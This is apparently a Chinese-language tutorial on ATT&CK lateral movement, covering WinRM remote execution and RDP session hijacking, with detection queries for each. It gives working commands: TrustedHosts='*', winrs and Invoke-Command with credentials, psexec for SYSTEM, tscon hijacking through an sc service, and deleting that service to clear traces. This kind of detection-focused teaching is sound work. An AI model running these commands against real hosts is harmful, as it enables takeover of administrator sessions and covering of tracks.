ATT&CK攻防初窺系列--橫向移動篇(一)
之前的文章介紹了ATT&CK執行篇中Control和XSL的用法。在網路攻防中,執行往往發生在進入入口後的初始階段,而橫向移動則發生在中間階段。橫向移動的目的是根據已有條件擴大攻擊成果。下面我們將會像大家展示ATT&CK中羅列的橫向移動手法的運用和檢測。
T1028-Windows Remote Management
在介紹Windows Remote Management(Winrm)之前,首先要介紹WS-Management(Web伺服器管理協議)。WS-Management協議是一種基於SOAP協議的DMTF開放標準,用於對伺服器等網路裝置進行管理。WinRM是windows對於該協議的一種實現。
根據微軟官方文件介紹:
1、WinRM服務將在Windows Server 2008上自動啟動。在Windows Vista上,該服務必須手動啟動。
2、預設情況下,未配置WinRM 偵聽器。即使WinRM服務正在執行,也無法接收或傳送請求資料的WS-Management協議訊息。
3、Internet連線防火牆(ICF)阻止訪問埠。
透過administrator許可權使用下面命令可以開啟上述限制條件,開啟winrm服務並監聽埠
winrm quickconfig

winrm e winrm/config/listener #檢視監聽情況

可以看到現在winrm開啟了5985進行監聽並使用HTTP協議進行傳輸,而ListeningOn欄位則是監聽的ip地址(都是自身ip地址)。
配置好服務端之後如果我們嘗試透過客戶端連線服務端進行遠端程式碼執行的時候會出現如下報錯

原因是winrm客戶端維護這一個信任主機列表只有在信任主機列表中的服務端才允許連線。
winrm set winrm/config/client @{TrustedHosts="*"}
測試遠端伺服器是否開啟winrm
Test-WsMan 10.50.1.208 #在powershell中執行

技術復現
橫向移動(winrs)
winrs -r:http://10.50.1.208:5985 -u:administrator -p:xxxxxxxx ipconfig

橫向移動(Invoke-Command)
Invoke-Command -ComputerName 10.50.1.208 -ScriptBlock {ipconfig} -credential administrator #ComputerName後可以跟ip或者計算機名

驗證成功後輸出ipconfig命令內容

橫向移動(Enter-PSSession)
Enter-PSSession -ComputerName 10.50.1.208 -Credential administrator

驗證成功後彈回遠端主機的powershell

威脅檢測
資料來源:檔案監視,身份驗證日誌,網路連線監視,程式監視,程式命令列引數
WINRM流量特徵
透過對winrs、Enter-PSSession、Invoke-Command通訊流量抓包發現其通訊特徵相同,都是透過請求http://xxx.xxx.xxx.xxx/wsman 來進行驗證和下發命令。並且即使WinRM是使用http通訊的但是其通訊內容也是加密的,加密的protocal為"application/HTTP-SPNNEG-session-encrypted"
User-Agent contains "Microsoft WinRM Client" AND Content-Type contains "HTTP-SPNNEG-session-encrypted" AND Content-Type contains "Encrypted Boundary"

WINRM客戶端
#winrm客戶端產生4656日誌
eventNum:4656

網路特徵:(級別:高)
sysmon檢測到powershell或者winrs.exe發起的網路連線資訊
eventNum:3 AND DestinationPort:5985 AND (Image contains:"powershell.exe" OR Image contains:"winrs.exe")


程式特徵:(級別:高)
sysmon檢測到到winrm.vbs的程式建立
eventNum:1 AND CommandLine contains winrm.vbs
命令列引數特徵:(級別:高)
CommandLine contains "Invoke-Command" OR CommandLine contains "Enter-PSSession" OR Image contains "winrs.exe"
WINRM服務端
程式特徵:(級別高)
在使用winrm執行遠端命令時,目標機器會啟動一個winrshost.exe來執行遠端命令。
eventNUm:1 AND ParentImage contains "winrshost.exe"

T1076 Remote Desktop Protocol
遠端桌面是作業系統中的常見功能。它允許使用者使用遠端系統上的系統桌面圖形使用者介面登入到互動式會話。Microsoft將其對遠端桌面協議(RDP)的實現稱為遠端桌面服務(RDS)。
如果啟用了服務並允許訪問具有已知憑據的帳戶,則攻擊者可以透過RDP / RDS連線到遠端系統以擴充套件訪問許可權。攻擊者可能會使用憑據訪問技術來獲取與RDP一起使用的憑據。攻擊者還可以結合使用RDP和可訪問性功能技術來實現永續性。
攻擊者還可能執行RDP會話劫持,其中涉及竊取合法使用者的遠端會話。通常情況下當其他人試圖竊取其會話(可以理解為windows的快速切換使用者功能)時會收到問題提示並要求出示密碼。憑藉系統許可權(SYSTEM許可權)的終端服務控制檯c:\windows\system32\tscon.exe [session number to be stolen],攻擊者可以切換會話而無需輸入密碼。這可能導致攻擊者竊取域管理員或更高特權的賬戶會話。
技術復現
前置條件:擁有某個本地管理員組賬號的許可權
目的:透過rdp會話劫持使我們可以從該管理員組賬號切換到本機任意一個賬戶的rdp會話中
以一臺域控制器(10.50.1.208)為例,我們獲取了其本地管理員組一個使用者(huahua)的憑據。


橫向移動(PSExec)
psexec.exe -s cmd #獲取SYSTEM許可權的shell

query user #檢視當前存在的會話
tscon 2 /dest:rdp-tcp#0 #2為administrator的會話id,rdp-tcp#0為我們當前會話名

可以看到我們已經成功切換到了域管理員的會話中。
橫向移動(SC)
原理為使用sc命令實現執行SYSTEM許可權的命令
query user #檢視當前存在的會話
sc create huahua binPath= "tscon 2 /dest:rdp-tcp#0"
sc start huahua


sc delete huahua #清除痕跡
威脅檢測
程式特徵
透過tscon.exe實現RDP劫持的前提為執行tscon.exe的使用者許可權為SYSTEM,可以透過檢測新建立的tscon.exe程式的User是否為SYSTEM來判斷是否發生了可疑的RDP劫持。
Image contains "tscon.exe" AND USER contains "NT AUTHORITY\\SYSTEM"

當使用rdp會話劫持切換使用者時安全日誌會出現4778、4779兩條安全日誌

